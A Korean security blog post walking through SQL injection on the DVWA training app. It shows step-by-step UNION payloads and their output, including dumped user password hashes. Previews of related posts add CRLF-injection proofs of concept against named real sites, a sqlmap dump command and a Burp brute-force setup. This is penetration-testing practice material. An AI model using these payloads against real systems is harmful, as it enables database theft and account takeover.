기본 콘텐츠로 건너뛰기

DVWA SQL Injection


DVWA SQL Injection low

[그림 1]

Summary
[그림1] 는 SQLInjection 공격을 시도해 볼 수 있도록 개발된 폼을 제공하고 있습니다

Description
[그림 1] 은 ' , # , -- ,= 등 SQLInjection 에 취약한 특수문자등을 필터링하지 않아 SQL주입이 가능합니다.


Steps to reproduce

ORDER BY Query
1' order by 1,2#
User ID:  
ID: 1' ORDER BY 1,2#
First name: admin
Surname: admin
UNION Query
' UNION SELECT 1,@@version# 
User ID:  
ID: 1' UNION SELECT 1,version()#
First name: admin
Surname: admin
ID: 1' UNION SELECT 1,version()#
First name: 1
Surname: 10.4.8-MariaDB
' UNION ALL SELECT 1,column_name from information_schema.columns#
User ID:  
ID: ' UNION ALL SELECT 1,column_name from information_schema.columns#
First name: 1
Surname: user_id
ID: ' UNION ALL SELECT 1,column_name from information_schema.columns#
First name: 1
Surname: first_name
ID: ' UNION ALL SELECT 1,column_name from information_schema.columns#
First name: 1
Surname: last_name
ID: ' UNION ALL SELECT 1,column_name from information_schema.columns#
First name: 1
Surname: user
ID: ' UNION ALL SELECT 1,column_name from information_schema.columns#
First name: 1
Surname: password
' UNION ALL SELECT user,password from users#
User ID:  
ID: ' UNION ALL SELECT user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: ' UNION ALL SELECT user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: ' UNION ALL SELECT user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' UNION ALL SELECT user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' UNION ALL SELECT user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
Impact
Dabase 및 관리자 계정 탈취가 가능합니다.

댓글

이 블로그의 인기 게시물

HackerOne Vulnerability Analysis 1

이 문서는  HackerOne 에서  제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다. Link :  https://hackerone.com/ Vulnerabilities list 1. CRLF Injection 2. Open Redirection  3. Cross-Site-Scripting 4. SQL-Injection 5. Path Traversal  CRLF Injection PoC http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com; HTTP Response: HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com; PoC: https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com PoC (Chrome, Internet Explorer) http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; HTTP Resp...

XVWA SQLInjection

XVWA  SQLinjection [그림 1] Summary [그림1] 는 SQL Injection 공격을 시도해 볼 수 있도록 개발된 폼을 제공하고 있습니다. Description [그림 1] 에서 Search 입력 폼에 ' or 1=1 -- 입력 시 특수문자에 대한 필터링이 존재하지 않아 SQLInjection 에 취약한 결과가 나오는것을 확인이 가능합니다. UNION SQLInjection 1' AND 1=0 UNION ALL SELECT 1,@@version,database(),@@datadir,5,6,7# Steps to reproduce 1. 임의의 문자열을 입력 후 Submit 을 누르는 동시에 패킷을 캡쳐합니다. 패킷을 캡처한 이유는 GET 통신이 아닌 POST 방식을 통해 데이터가 현재 전달되고있으므로 패킷을 통해 Body 데이터 정보의 매개변수를 확인하기 위해서입니다. 2. 캡쳐한 패킷은 다음과 같습니다. 3.  sqlmap -u "http://192.168.56.109/xvwa/vulnerabilities/sqli_blind/" --data "item=&search=1234 " -p search --dump 4. password 로 크랙되어있는 문자열들은 다음 사이트를 통해 크랙이 가능합니다. https://www.onlinehashcrack.com/hash-identification.php   Impact 공격자는 SQL Injection 을 통해 데이터베이스 계정정보를 획득할수있습니다.

DVWA Brute Force

DVWA Brute Force [ Security Low ]  [그림 1] Summary [그림1] 는 Brute Force 공격을 시도해 볼 수 있도록 개발된 로그인 폼을 제공하고 있습니다.  Description [그림1] 에서는 로그인 실패 시 로그인 시도 제한 옵션으로  캡차 , 계정잠금 등의 적절한 보안설정이 적용되어 있지 않아 다음과 같은 공격 시도가 가능합니다. 1. 사전파일 대입 2. 무차별대입 Steps to reproduce 1. username=admin password=test 를 입력 후 로그인하는 과정에서 Burp Suite 를 통해 패킷을 잡은 뒤 , Send to Intruder 를 클릭합니다. 이때  Attack type : Sniper  를 선택합니다 .  (공격 대상은 password=§test§ 입니다) POST /DVWA/vulnerabilities/brute/ HTTP/1.1 Host: localhost. Content-Length: 83 Cache-Control: max-age=0 Origin: http://localhost. Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Sec-Fetch-User: ?1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: n...